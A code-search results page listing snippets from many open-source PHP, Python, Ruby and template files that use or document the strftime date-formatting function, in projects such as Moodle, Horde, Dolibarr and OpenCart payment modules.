100+ results results for 'php strftime repo:pandaos/kaltura' (212 ms)
1<?php defined("SYSPATH") or die("No direct script access."); 2/** 108 foreach ($events as $schedule) { 109 $run_date = strftime("%A, %b %e, %Y %H:%M ", $schedule->next_run_datetime); 110 $intervals = scheduler::intervals();TwigHelperExtension.php https://gitlab.com/aredhel-bazaar/la-taverne-du-hasard | PHP | 211 lines
1<?php 2 41 new \Twig_SimpleFilter('aging', array($this, 'getAging')), 42 new \Twig_SimpleFilter('strftime', array($this, 'strftime')), 43 new \Twig_SimpleFilter('intval', array($this, 'intval')), 175 */ 176 public function strftime(\DateTime $dateTime, string $format) { 177 return $this->dateFormatter->formatObject($dateTime, $format);index.php https://github.com/andreabix/moodle.git | PHP | 117 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 25 26require_once('../../config.php'); 27require_once($CFG->libdir.'/adminlib.php'); 29// Required for constants in backup_cron_automated_helper 30require_once($CFG->dirroot.'/backup/util/helper/backup_cron_helper.class.php'); 31 44 45$strftimedatetime = get_string("strftimerecent"); 46$strerror = get_string("error"); 85 format_string($backuprow->fullname, true, array('context' => context_course::instance($backuprow->courseid))), 86 userdate($backuprow->laststarttime, $strftimedatetime), 87 '-', 87 '-', 88 userdate($backuprow->lastendtime, $strftimedatetime), 89 $status,index.php https://github.com/adamann2/moodle.git | PHP | 125 lines
1<?php 2 29 30require_once('../../config.php'); 31require_once($CFG->libdir . '/adminlib.php'); 40 if ($siteunregistrationform->is_cancelled()) { 41 redirect(new moodle_url('/admin/registration/index.php')); 42 } else if ($data = $siteunregistrationform->get_data()) { 44 $data->unpublishalluploadedcourses)) { 45 redirect(new moodle_url('/admin/registration/index.php')); 46 } 57if (!$returnurl = optional_param('returnurl', null, PARAM_LOCALURL)) { 58 $returnurl = $isinitialregistration ? '/admin/index.php' : '/admin/registration/index.php'; 59} 71 } 72 redirect(new moodle_url('/admin/registration/index.php', ['returnurl' => $returnurl])); 73 } else {display.php https://github.com/edmondscommerce/XAMPP-Magento-Demo-Site.git | PHP | 161 lines
1<?php 2/** 2/** 3 * $Header: /repository/pear/Log/Log/display.php,v 1.11 2008/03/20 16:03:57 jon Exp $ 4 * 10 * The Log_display class is a concrete implementation of the Log:: 11 * abstract class which writes message into browser in usual PHP maner. 12 * This may be useful because when you use PEAR::setErrorHandling in 13 * PEAR_ERROR_CALLBACK mode error messages are not displayed by 14 * PHP error handler. 15 * 19 * 20 * @example display.php Using the display handler. 21 */ 32 * String containing the timestamp format. It will be passed directly to 33 * strftime(). Note that the timestamp string will generated using the 34 * current locale.perpetual_payments.php https://gitlab.com/dadangnh/sb1-bon | PHP | 129 lines
1<?php 2class ControllerExtensionPaymentPerpetualPayments extends Controller { 23 $data['months'][] = array( 24 'text' => strftime('%B', mktime(0, 0, 0, $i, 1, 2000)), 25 'value' => sprintf('%02d', $i) 34 $data['year_valid'][] = array( 35 'text' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)), 36 'value' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)) 43 $data['year_expire'][] = array( 44 'text' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)), 45 'value' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i))index.php https://github.com/dongsheng/moodle.git | PHP | 128 lines
1<?php 2 29 30require_once('../../config.php'); 31require_once($CFG->libdir . '/adminlib.php'); 43 if (!\core\hub\registration::is_registered()) { 44 redirect(new moodle_url('/admin/registration/index.php')); 45 } 50 get_string('registerwithmoodleorgremove', 'core_hub'), 51 new moodle_url(new moodle_url('/admin/registration/index.php', ['unregistration' => 1, 'confirm' => 1])), 52 new moodle_url(new moodle_url('/admin/registration/index.php')) 59if (!$returnurl = optional_param('returnurl', null, PARAM_LOCALURL)) { 60 $returnurl = $isinitialregistration ? '/admin/index.php' : '/admin/registration/index.php'; 61} 73 } 74 redirect(new moodle_url('/admin/registration/index.php', ['returnurl' => $returnurl])); 75 } else {layout_users_as_search.php https://github.com/bernard357/yacs.git | PHP | 168 lines
1<?php 2/** 4 * 5 * @see search.php 6 * 18 * 19 * @see skins/layout.php 20 **/ 31 // flag idle users 32 $idle = gmstrftime('%Y-%m-%d %H:%M:%S', time() - 600); 33show.html.erb https://github.com/andyl/BAMRU-Private.git | Ruby HTML | 134 lines
26 <td align=right width=150><b>Message Date:</b></td> 27 <td><%= @message.created_at.strftime("%y-%m-%d %H:%M:%S") %></td> 28 </tr> 67 <div style='float:right; text-align: right;'> 68 <a href="http://wiki.bamru.net/index.php/Paging_Protips" target="_blank">help</a> 69 </div> 88 <td><%= link_to(d.member.try(:full_name) || "", member_path(d.member || 0)) %><%= raw message_oot_helper(d) %><%= raw message_bounce_helper(d) %></td> 89 <td align=center><%= d.updated_at.strftime("%m-%d %H:%M") %></td> 90 <td align=center><%= raw yes_no_read d.read %></td>header.php https://github.com/abdallahchamas/haiti_tracker.git | PHP | 147 lines
1<?php 2############################################################################### 2############################################################################### 3# Gregarius - A PHP based RSS aggregator. 4# Copyright (C) 2003 - 2006 Marco Bonetti 67 if ($active == 1 && (MINUTE * getConfig('rss.config.refreshafter')) >= (40 * MINUTE)) { 68 $this->redirectUrl = guessTransportProto().$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']); 69 if (substr($this->redirectUrl, -1) != "/") { 71 } 72 $this->redirectUrl .= "update.php"; 73 $this->redirectTimeout = MINUTE * getConfig('rss.config.refreshafter'); 76 $this -> links = array(); 77 $this -> links[] = array('search','Search',getPath() ."search.php"); 78 $this -> links[] = array('tags','Tags',getPath(). (getConfig('rss.output.usemodrewrite') ? "tag/" : "tags.php?alltags")); 86 87 $this -> javascriptFiles[] = getPath()."ajax.php?js"; 88 $this -> javascriptFiles[] = getPath()."extlib/md5.js";award_criteria_activity.php https://github.com/pauln/moodle.git | PHP | 266 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 27defined('MOODLE_INTERNAL') || die(); 28require_once($CFG->libdir . '/completionlib.php'); 29 90 if (isset($p['bydate'])) { 91 $str .= get_string('criteria_descr_bydate', 'badges', userdate($p['bydate'], get_string('strftimedate', 'core_langconfig'))); 92 }settings_lang.php https://gitlab.com/Riky_Lesmana/SugarSweetCakes | PHP | 157 lines
1<?php defined('BASEPATH') OR exit('No direct script access allowed'); 2 31$lang['settings:date_format'] = 'Dátum formátum'; 32$lang['settings:date_format_desc'] = 'Hogyan jelenjenek meg a dátumok a weboldalon és a vezérlőpultban? A PHP <a target="_blank" href="http://php.net/manual/en/function.date.php">dátum formázási</a> függvényének segítségével illetve <a target="_blank" href="http://php.net/manual/en/function.strftime.php">a szöveges dátumok formázási</a> függvény segítségével lehet megadni'; 33 156 157/* End of file settings_lang.php */index.php https://github.com/hregis/dolibarr.git | PHP | 328 lines
1<?php 2/* Copyright (C) 2016 Laurent Destailleur <eldy@users.sourceforge.net> 18/** 19 * \file htdocs/fichinter/stats/index.php 20 * \ingroup fichinter 23 24require '../../main.inc.php'; 25require_once DOL_DOCUMENT_ROOT.'/fichinter/class/fichinter.class.php'; 25require_once DOL_DOCUMENT_ROOT.'/fichinter/class/fichinter.class.php'; 26require_once DOL_DOCUMENT_ROOT.'/fichinter/class/fichinterstats.class.php'; 27require_once DOL_DOCUMENT_ROOT.'/core/class/dolgraph.class.php'; 44 45$nowyear = strftime("%Y", dol_now()); 46$year = GETPOST('year') > 0 ? GETPOST('year', 'int') : $nowyear; 83 $filenamenb = $dir.'/interventionsnbinyear-'.$user->id.'-'.$year.'.png'; 84 $fileurlnb = DOL_URL_ROOT.'/viewimage.php?modulepart=interventionstats&file=interventionsnbinyear-'.$user->id.'-'.$year.'.png'; 85} else {display.php https://bitbucket.org/chamilo/chamilo-dev/ | PHP | 171 lines
1<?php 2/** 10 * The Log_display class is a concrete implementation of the Log:: 11 * abstract class which writes message into browser in usual PHP maner. 12 * This may be useful because when you use PEAR::setErrorHandling in 13 * PEAR_ERROR_CALLBACK mode error messages are not displayed by 14 * PHP error handler. 15 * 19 * 20 * @example display.php Using the display handler. 21 */ 32 * String containing the timestamp format. It will be passed directly to 33 * strftime(). Note that the timestamp string will generated using the 34 * current locale. 161 /* Build and output the complete log line. */ 162 echo $this->_format($this->_lineFormat, strftime($this->_timeFormat), $priority, nl2br(htmlspecialchars($message))); 163backend.php https://github.com/imr/horde.git | PHP | 314 lines
1<?php 2/** 29$no_compress = true; 30require_once __DIR__ . '/lib/Application.php'; 31Horde_Registry::appInit('klutz'); 46 $notification->push(_("You must define a storage backend to use the administrative interface."), 'horde.error'); 47 header('Location: ' . Horde::url('comics.php')); 48 exit; 98 $fetch_date_select .= '<option value="' . $date . '"' . $selected . '">' . 99 strftime('%B %d, %Y', $date) . '</option>'; 100 } 110 $delete_date_select .= '<option value="' . $date . '"' . $selected . '">' . 111 strftime("%B %d, %Y", $date) . '</option>'; 112 } 123 124 $sums_url = Horde::url('backend.php')->add('mode[]', 'sums')->add('mode[]', 'menu'); 125el.php https://bitbucket.org/hamaswa/destinationgreece.git | PHP | 253 lines
1<?php 2 11 12 // Date time formats. See http://www.php.net/manual/en/function.strftime.php 13 '_dateTimeFull' => "%A, %e %B, %Y %H:%M",fa.php https://gitlab.com/ilya.webcity/anna | PHP | 267 lines
1<?php 2 9 * @copyright 2010 KCFinder Project 10 * @license http://www.opensource.org/licenses/gpl-2.0.php GPLv2 11 * @license http://www.opensource.org/licenses/lgpl-2.1.php LGPLv2 18 19 // Date time formats. See http://www.php.net/manual/en/function.strftime.php 20 '_dateTimeFull' => "%A, %B %e, %Y %H:%M",index.py https://gitlab.com/xiaok/SaltAdmin | Python | 237 lines
35def genSession(SID,Username,ShowName,LastIP,LastLocation,LastDate,Token,Lstat,kpl): 36 LoginDate = time.strftime("%Y-%m-%d %H:%M:%S",time.localtime(time.time())) 37 Expiry = 86400 67 # 这里要从公网去解析 68 url = "http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=json&ip=" + LoginHost 69 response = urllib2.urlopen(url) 93 # 格式化日期,加上年月日在前台显示,如果为None,表示用户是第一次登录 94 session.LastDate = time.strftime('%Y-%m-%d %H:%M:%S',time.strptime(str(LastDate),'%Y-%m-%d %H:%M:%S')) 95 else:event.php https://github.com/mastertheknife/ZoneMinder-kfir.git | PHP | 222 lines
96 <div id="replayControl"><label for="replayMode"><?= $SLANG['Replay'] ?></label><?= buildSelect( "replayMode", $replayModes, "changeReplayMode();" ); ?></div> 97 <div id="nameControl"><input type="text" id="eventName" name="eventName" value="<?= validHtmlStr($event['Name']) ?>" size="16"/><input type="button" value="<?= $SLANG['Rename'] ?>" onclick="renameEvent()"<?php if ( !canEdit( 'Events' ) ) { ?> disabled="disabled"<?php } ?>/></div> 98 </div> 106 <div id="editEvent"><a href="#" onclick="editEvent()"><?= $SLANG['Edit'] ?></a></div> 107<?php 108} 112 <div id="exportEvent"><a href="#" onclick="exportEvent()"><?= $SLANG['Export'] ?></a></div> 113<?php 114} 119 <div id="unarchiveEvent" class="hidden"><a href="#" onclick="unarchiveEvent()"><?= $SLANG['Unarchive'] ?></a></div> 120<?php 121} 123 <div id="framesEvent"><a href="#" onclick="showEventFrames()"><?= $SLANG['Frames'] ?></a></div> 124 <div id="streamEvent"<?php if ( $streamMode == 'stream' ) { ?> class="hidden"<?php } ?>><a href="#" onclick="showStream()"><?= $SLANG['Stream'] ?></a></div> 125 <div id="stillsEvent"<?php if ( $streamMode == 'still' ) { ?> class="hidden"<?php } ?>><a href="#" onclick="showStills()"><?= $SLANG['Stills'] ?></a></div>date.php https://bitbucket.org/sriedel/iccrm-wip.git | PHP | 404 lines
1<?php 2/** 9 * @copyright 2010 - 2012 Fuel Development Team 10 * @link http://fuelphp.com 11 */ 23 * @category Core 24 * @link http://docs.fuelphp.com/classes/date.html 25 * 28 * - create_time() uses strptime and has currently a very bad hack to use strtotime for windows servers 29 * - Uses strftime formatting for dates www.php.net/manual/en/function.strftime.php 30 */ 103 104 // This really is some fugly code, but someone at PHP HQ decided strptime should 105 // output this awful array instead of a timestamp LIKE EVERYONE ELSE DOES!!! 112 * @param int UNIX timestamp from current server 113 * @param string valid PHP timezone from www.php.net/timezones 114 * @return Datedate.php https://bitbucket.org/kawadatetsuya/twilio.git | PHP | 404 lines
1<?php 2/** 9 * @copyright 2010 - 2013 Fuel Development Team 10 * @link http://fuelphp.com 11 */ 23 * @category Core 24 * @link http://docs.fuelphp.com/classes/date.html 25 * 28 * - create_time() uses strptime and has currently a very bad hack to use strtotime for windows servers 29 * - Uses strftime formatting for dates www.php.net/manual/en/function.strftime.php 30 */ 103 104 // This really is some fugly code, but someone at PHP HQ decided strptime should 105 // output this awful array instead of a timestamp LIKE EVERYONE ELSE DOES!!! 112 * @param int UNIX timestamp from current server 113 * @param string valid PHP timezone from www.php.net/timezones 114 * @return DateordersPerMonth.php https://bitbucket.org/ymauray/multishop.git | PHP | 117 lines
1<?php 2if (!defined('TYPO3_MODE')) { 39// $time=strtotime(date($selected_year.$i."-01")." 00:00:00"); 40 $dates[strftime("%B %Y", $time)] = date("Y-m", $time); 41} 69 // hook 70 if (is_array($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['ext/multishop/scripts/admin_pages/includes/admin_home/ordersPerMonth.php']['ordersPerMonthHomeStatsQueryHookPreProc'])) { 71 $params = array( 73 ); 74 foreach ($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['ext/multishop/scripts/admin_pages/includes/admin_home/ordersPerMonth.php']['ordersPerMonthHomeStatsQueryHookPreProc'] as $funcRef) { 75 \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction($funcRef, $params, $this);reporter.py https://bitbucket.org/iwuyan/stemformatics.git | Python | 147 lines
1# (c) 2005 Ian Bicking and contributors; written for Paste (http://pythonpaste.org) 2# Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php 3 24 def format_date(self, exc_data): 25 return time.strftime('%c', exc_data.date) 26PHP5MapBuilderBuilder.php https://bitbucket.org/ferOnti/processmaker.git | PHP | 301 lines
3/* 4 * $Id: PHP5MapBuilderBuilder.php 562 2007-02-01 02:17:24Z hans $ 5 * 25/** 26 * Generates the PHP5 map builder class for user object model (OM). 27 * 68 /** 69 * Adds class phpdoc comment and openning of class. 70 * @param string &$script The script will be modified in this method. 81 if ($this->getBuildProperty('addTimeStamp')) { 82 $now = strftime('%c'); 83 $script .= " 217 \$tMap = \$this->dbMap->addTable('".$table->getName()."'); 218 \$tMap->setPhpName('".$table->getPhpName()."'); 219";preface.py https://github.com/ggaavv/ReplicatorG.git | Python | 228 lines
6The preface manual page is at: 7http://fabmetheus.crsndoo.com/wiki/index.php/Skeinforge_Preface 8 71from skeinforge_application.skeinforge_utilities import skeinforge_profile 72from time import strftime 73import os 108 self.fileNameInput = settings.FileNameInput().getFromFileName( fabmetheus_interpret.getGNUTranslatorGcodeFileTypeTuples(), 'Open File for Preface', self, '') 109 self.openWikiManualHelpPage = settings.HelpPage().getOpenFromAbsolute('http://fabmetheus.crsndoo.com/wiki/index.php/Skeinforge_Preface') 110 self.meta = settings.StringSetting().getFromValue('Meta:', self, '') 171 self.distanceFeedRate.addLine('(</settings>)') 172 self.distanceFeedRate.addTagBracketedLine('timeStampPreface', strftime('%Y%m%d_%H%M%S')) 173 procedureNames = self.svgReader.sliceDictionary['procedureName'].replace(',', ' ').split()web_payment_software.php https://bitbucket.org/mmahdy/opencart-api.git | PHP | 134 lines
1<?php 2class ControllerExtensionPaymentWebPaymentSoftware extends Controller { 9 $data['months'][] = array( 10 'text' => strftime('%B', mktime(0, 0, 0, $i, 1, 2000)), 11 'value' => sprintf('%02d', $i) 20 $data['year_expire'][] = array( 21 'text' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)), 22 'value' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i))manage_posts.twig git://github.com/vito/chyrp.git | Twig Template | 75 lines
6 <h2>${ "Need more detail?" | translate }</h2> 7 <form class="detail" action="index.php" method="get" accept-charset="utf-8"> 8 <fieldset> 21 {% for archive in theme.archives_list %} 22 <option value="${ archive.when | strftime("%Y-%m") }"${ GET.month | option_selected(archive.when | strftime("%Y-%m")) }>${ archive.when | strftime("%B %Y") } ($archive.count)</option> 23 {% endfor %} 46 <td class="main"><a href="$post.url">${ post.title | truncate }</a></td> 47 <td>${ post.created_at | strftime }</td> 48 <td>$post.status_name</td>ru.php https://gitlab.com/ptisky/API_prestashop | PHP | 154 lines
1<?php 2/** 33 34 // Date time formats. See http://www.php.net/manual/en/function.strftime.php 35 '_dateTimeFull' => "%A, %e %B, %Y %H:%M",StoryList.php https://github.com/wrobel/horde.git | PHP | 117 lines
1<?php 2/** 8 * See the enclosed file LICENSE for license information (BSD). If you 9 * did not receive this file, see http://cvs.horde.org/co.php/jonah/LICENSE. 10 * 45 $notification->push(sprintf(_("Invalid channel requested. %s"), $e->getMessage()), 'horde.error'); 46 Horde::url('channels/index.php', true)->redirect(); 47 exit; 68 if (!empty($stories[$key]['published'])) { 69 $stories[$key]['published_date'] = strftime($prefs->getValue('date_format') . ', ' . ($prefs->getValue('twentyFour') ? '%H:%M' : '%I:%M%p'), $stories[$key]['published']); 70 } else { 80 /* PDF link. */ 81 $url = Horde::url('stories/pdf.php')->add(array('id' => $story['id'], 'channel_id' => $channel_id)); 82 $stories[$key]['pdf_link'] = $url->link(array('title' => _("PDF version"))) . Horde::img('mime/pdf.png') . '</a>'; 84 /* Edit story link. */ 85 $url = Horde::url('stories/edit.php')->add(array('id' => $story['id'], 'channel_id' => $channel_id)); 86 $stories[$key]['edit_link'] = $url->link(array('title' => _("Edit story"))) . Horde::img('edit.png') . '</a>';msearch-cmdref-dateformat.html https://github.com/fedir/mnogosearch-typo3.git | HTML | 323 lines
26NAME="Keywords" 27CONTENT="shareware, freeware, download, internet, unix, utilities, search engine, text retrieval, knowledge retrieval, text search, information retrieval, database search, mining, intranet, webserver, index, spider, filesearch, meta, free, open source, full-text, udmsearch, website, find, opensource, search, searching, software, udmsearch, engine, indexing, system, web, ftp, http, cgi, php, SQL, MySQL, database, php3, FreeBSD, Linux, Unix, mnoGoSearch, MacOS X, Mac OS X, Windows, 2000, NT, 95, 98, GNU, GPL, url, grabbing"></HEAD 28><BODY 144CLASS="function" 145>strftime</CODE 146>type_base.php https://github.com/pauln/moodle.git | PHP | 220 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 165 * @param int $time the timestamp in UTC, as obtained from the database 166 * @param string $format strftime format 167 * @param int|float|string $timezone the timezone to usefile.php https://bitbucket.org/ferOnti/processmaker.git | PHP | 339 lines
1<?php 2/** 2/** 3 * $Header: /repository/pear/Log/Log/file.php,v 1.46 2006/12/07 04:15:02 jon Exp $ 4 * 12 * 13 * @author Jon Parise <jon@php.net> 14 * @author Roman Neuhauser <neuhauser@bellavista.cz> 17 * 18 * @example file.php Using the file handler. 19 */ 26 */ 27 var $_filename = 'php.log'; 28 74 * String containing the timestamp format. It will be passed directly to 75 * strftime(). Note that the timestamp string will generated using the 76 * current locale.producttooltip.php https://gitlab.com/ptisky/API_prestashop | PHP | 283 lines
1<?php 2/* 9* It is also available through the world-wide-web at this URL: 10* http://opensource.org/licenses/afl-3.0.php 11* If you did not receive a copy of the license and are unable to 22* @copyright 2007-2015 PrestaShop SA 23* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) 24* International Registered Trademark & Property of PrestaShop SA 107 { 108 $date = strftime('%Y-%m-%d %H:%M:%S', time() - (int)(Configuration::get('PS_PTOOLTIP_LIFETIME') * 60)); 109 123 $days = (int)Configuration::get('PS_PTOOLTIP_DAYS'); 124 $date = strftime('%Y-%m-%d', strtotime('-'.(int)$days.' day')); 125Database.py https://gitlab.com/envieidoc/Clover | Python | 255 lines
7# which accompanies this distribution. The full text of the license may be found at 8# http://opensource.org/licenses/bsd-license.php 9# 234 EdkLogger.SetLevel(EdkLogger.DEBUG_0) 235 EdkLogger.verbose("Start at " + time.strftime('%H:%M:%S', time.localtime())) 236 253 Db.Close() 254 EdkLogger.verbose("End at " + time.strftime('%H:%M:%S', time.localtime())) 255default.php https://github.com/draganz/Kunena-2.0.git | PHP | 150 lines
17<div id="kadmin"> 18 <div class="kadmin-left"><?php include KPATH_ADMIN.'/views/common/tmpl/menu.php'; ?></div> 19 <div class="kadmin-right"> 22 </div> 23 <form action="<?php echo KunenaRoute::_('administrator/index.php?option=com_kunena&view=trash') ?>" method="post" id="adminForm" name="adminForm"> 24 <table class="kadmin-sort"> 26 <td class="left" width="90%"> 27 <?php echo JText::_( 'COM_KUNENA_FILTER' ); ?>: 28 <input type="text" name="search" id="search" value="<?php echo $this->escape($this->state->get('list.search'));?>" class="text_area" onchange="document.adminForm.submit();" /> 74 </tfoot> 75 <?php 76 $k = 0; 136 <input type="hidden" name="messages" value="1" /> 137 <?php } ?> 138 <input type="hidden" name="filter_order" value="<?php echo intval ( $this->state->get('list.ordering') ) ?>" />bills.py https://github.com/mattgrayson/openstates.git | Python | 278 lines
36 main_url = ( 37 "https://nebraskalegislature.gov/bills/search_by_date.php?" 38 "SessionDay={}".format(year) 55 # bill_resp = self.post('http://nebraskalegislature.gov/bills/' 56 # 'search_by_number.php', data=post_dict) 57 # bill_link = bill_resp.url 127 action, 128 date.strftime("%Y-%m-%d"), 129 chamber=actor,lang_cs.rb https://github.com/janv/localization_simplified.git | Ruby | 115 lines
66 67 # Date and time format syntax explained in http://www.rubycentral.com/ref/ref_c_time.html#strftime 68 # These are sent to strftime that Ruby's date and time handlers use internally 68 # These are sent to strftime that Ruby's date and time handlers use internally 69 # Same options as php (that has a better list: http://www.php.net/strftime ) 70 DateFormats = {TstampTask.php https://github.com/IDCI-Consulting/WebsiteEval.git | PHP | 168 lines
1<?php 2/* 2/* 3 * $Id: TstampTask.php 325 2007-12-20 15:44:58Z hans $ 4 * 21 22require_once 'phing/Task.php'; 23 78 79 $dstamp = strftime('%Y%m%d'); 80 $this->prefixProperty('DSTAMP', $dstamp); 81 82 $tstamp = strftime('%H%M'); 83 $this->prefixProperty('TSTAMP', $tstamp); 116 * The date/time pattern to be used. The values are as 117 * defined by the PHP strftime() function. 118 *class.FEUForcedLogoutTask.php https://github.com/VesQ/FEUsignUp.git | PHP | 161 lines
1<?php 2#BEGIN_LICENSE 138 } 139 $feu->Audit('',$feu->GetName(),'Forced logout of '.count($uids).' users at '.strftime('%H:%M',$the_time)); 140 return TRUE;channel.php https://github.com/fracmak/mythweb.git | PHP | 105 lines
29<?php } ?> 30 Channel <?php echo $this_channel->channum ?>: <?php echo $this_channel->callsign ?> on <?php echo strftime('%B %e, %Y', $_SESSION['list_time']) ?> 31 </div> 35 <td class="x-hour"><?php channel_select('onchange="$(\'program_listing\').submit()"', $this_channel->chanid) ?></td> 36 <td class="x-day"><a href="<?php echo root_url ?>tv/channel/<?php echo $this_channel->chanid, '/', $_SESSION['list_time'] - (24 * 60 * 60) ?>" 37 ><img src="<?php echo skin_url ?>img/left.gif" alt="<?php echo t('leftl'); ?>"></a> 39 <a href="<?php echo root_url ?>tv/channel/<?php echo $this_channel->chanid, '/', $_SESSION['list_time'] + (24 * 60 * 60) ?>" 40 ><img src="<?php echo skin_url ?>img/right.gif" alt="<?php echo t('right'); ?>"></a> 41 </td> 46 47<?php 48 84 ?><tr class="<?php echo $show->css_class ?>"> 85 <td class="nowrap" align="center"><a href="<?php echo root_url ?>tv/list?time=<?php echo $show->starttime ?>"><?php echo strftime($_SESSION['time_format'], $show->starttime) ?> - <?php echo strftime($_SESSION['time_format'], $show->endtime) ?></a></td> 86 <td class="<?php echo $show->css_class ?>"><?phpsagepay_us.php https://gitlab.com/reclamare/mao | PHP | 99 lines
1<?php 2class ControllerPaymentSagepayUS extends Controller { 19 $data['months'][] = array( 20 'text' => strftime('%B', mktime(0, 0, 0, $i, 1, 2000)), 21 'value' => sprintf('%02d', $i) 30 $data['year_expire'][] = array( 31 'text' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)), 32 'value' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i))conf.py https://gitlab.com/trungthao379/phpmyadmin | Python | 304 lines
198latex_documents = [ 199 ('index', 'phpMyAdmin.tex', u'phpMyAdmin Documentation', 200 u'The phpMyAdmin devel team', 'manual'), 228man_pages = [ 229 ('index', 'phpmyadmin', u'phpMyAdmin Documentation', 230 [u'The phpMyAdmin devel team'], 1) 243 ('index', 'phpMyAdmin', u'phpMyAdmin Documentation', 244 u'The phpMyAdmin devel team', 'phpMyAdmin', 'One line description of project.', 245 'Miscellaneous'), 299 300# Highlight PHP without starting <?php tag 301from sphinx.highlighting import lexers 303 304lexers['php'] = PhpLexer(startinline=True) 305manage_pages.twig https://github.com/misterbrandt/chyrp.git | Twig Template | 92 lines
7 <h2>${ "Need more detail?" | translate }</h2> 8 <form class="detail" action="index.php" method="get" accept-charset="utf-8"> 9 <fieldset> 36 <td class="main"><a href="$page.url">${ page.title | truncate }</a></td> 37 <td>${ page.created_at | strftime }</td> 38 <td>{% if page.updated %}${ page.updated_at | strftime }{% else %}<span class="sub">${ "never" | translate }</span>{% endif %}</td>award_criteria_course.php https://github.com/pauln/moodle.git | PHP | 239 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 27defined('MOODLE_INTERNAL') || die(); 28require_once($CFG->libdir . '/completionlib.php'); 29require_once($CFG->dirroot . '/grade/querylib.php'); 29require_once($CFG->dirroot . '/grade/querylib.php'); 30require_once($CFG->libdir . '/gradelib.php'); 31 65 66 $editurl = new moodle_url('/badges/criteria_settings.php', array('badgeid' => $this->badgeid, 'edit' => true, 'type' => $this->criteriatype, 'crit' => $this->id)); 67 $deleteurl = new moodle_url('/badges/criteria_action.php', array('badgeid' => $this->badgeid, 'delete' => true, 'type' => $this->criteriatype)); 107 if (isset($param['bydate'])) { 108 $str .= get_string('criteria_descr_bydate', 'badges', userdate($param['bydate'], get_string('strftimedate', 'core_langconfig'))); 109 }settings_lang.php https://github.com/kadoshmt/Pyro-Deals.git | PHP | 150 lines
1<?php defined('BASEPATH') OR exit('No direct script access allowed'); 2/** 44 'С помощью <a href="http://php.net/manual/ru/function.date.php" target="_black">функции date</a> из PHP - или - ' . 45 'Используя <a href="http://php.net/manual/ru/function.strftime.php" target="_black">форматирование строк с датой</a> из PHP.'; 46 148 149/* End of file settings_lang.php */ 150/* Location: ./system/cms/modules/settings/language/russian/settings_lang.php */shop_of_discount.php https://gitlab.com/xusasuke6/Slg_php | PHP | 151 lines
1<?php 2define('IN_DATANG_SYSTEM', true); 2define('IN_DATANG_SYSTEM', true); 3include "../../../config/config.php"; 4include SYSDIR_ADMIN."/include/global.php"; 4include SYSDIR_ADMIN."/include/global.php"; 5include SYSDIR_ADMIN."/class/log_gold_class.php"; 6global $smarty, $db; 13{ 14 $dateStart = strftime ("%Y-%m-%d", time()-(60*60*24)*5 ); 15} 22{ 23 $dateEnd= strftime ("%Y-%m-%d",time()); 24}time.rst https://github.com/steinkel/docs.git | ReStructuredText | 440 lines
22.. versionadded:: 2.1 23 ``CakeTime`` has been factored out from :php:class:`TimeHelper`. 24 47 48.. php:method:: convertSpecifiers($format, $time = NULL) 49 105 Will return a string formatted to the given format using the 106 `PHP strftime() formatting options <https://secure.php.net/manual/en/function.strftime.php>`_:: 107 143 144 Takes a string and uses `strtotime <http://us.php.net/manual/en/function.date.php>`_ 145 to convert it into a date integer:: 234 235.. php:method:: timeAgoInWords($dateString, $options = array()) 236parsers.py https://github.com/trashgenerator/vkontakte-spy.git | Python | 325 lines
15 self.failUnlessEqual(parsers.rus2eng('сегодня'.decode('utf-8')), 16 datetime.date.today().strftime("%d %B %Y")) 17 20 (datetime.date.today() - 21 datetime.timedelta(1)).strftime("%d %B %Y")) 22 35 def test_pageexists_true(self): 36 text = '<ul class="pageList"><li class="current">1</li><li><a href="newsfeed.php?section=&offset=50" onclick="return getPage(50)">2</a></li><li><a href="newsfeed.php?section=&offset=100" onclick="return getPage(100)">3</a></li>' 37 self.assertTrue(self.parser.pageexists(text, 50)) 39 def test_pageexists_false(self): 40 text = '<ul class="pageList"><li class="current">1</li><li><a href="newsfeed.php?section=&offset=50" onclick="return getPage(50)">2</a></li><li><a href="newsfeed.php?section=&offset=100" onclick="return getPage(100)">3</a></li>' 41 self.assertFalse(self.parser.pageexists(text, 300))main.py https://github.com/purplemass/YouTube.git | Python | 177 lines
14 15date_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 16 98 # write date/time 99 date_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 100 common.log(1, 'Date/Time:[T][T]%s' % date_time) 141http://groups.jonzu.com/z_apis_adding-developer-tags.html#comments 142http://stackoverflow.com/questions/3677453/youtube-api-php-retrieving-a-private-video-under-my-account 143http://gdata.youtube.com/demo/Sender.php https://bitbucket.org/iarp/knowledgebase.git | PHP | 187 lines
1<?php 2class Sender extends CronCommon 102 $link = substr($link, strpos($link, '?')); 103 $link = APP_CLIENT_PATH . 'index.php' . $link; 104 106 $record['body'] = $this->getSummary($record['body']); 107 $record['date'] = strftime('%d %b, %Y', $record['ts_posted']); 108 117 118 $mail = new PHPMailer(); 119 $mail->From = 'noreplay@';BaseHisconc.php https://github.com/cidesa/siga-universitario.git | PHP | 526 lines
1<?php 2 66 } elseif (strpos($format, '%') !== false) { 67 return adodb_strftime($format, $ts); 68 } else { 347 348 public function getByName($name, $type = BasePeer::TYPE_PHPNAME) 349 { 384 385 public function toArray($keyType = BasePeer::TYPE_PHPNAME) 386 { 400 401 public function setByName($name, $value, $type = BasePeer::TYPE_PHPNAME) 402 { 434 435 public function fromArray($arr, $keyType = BasePeer::TYPE_PHPNAME) 436 {recorded.php https://github.com/fracmak/mythweb.git | PHP | 233 lines
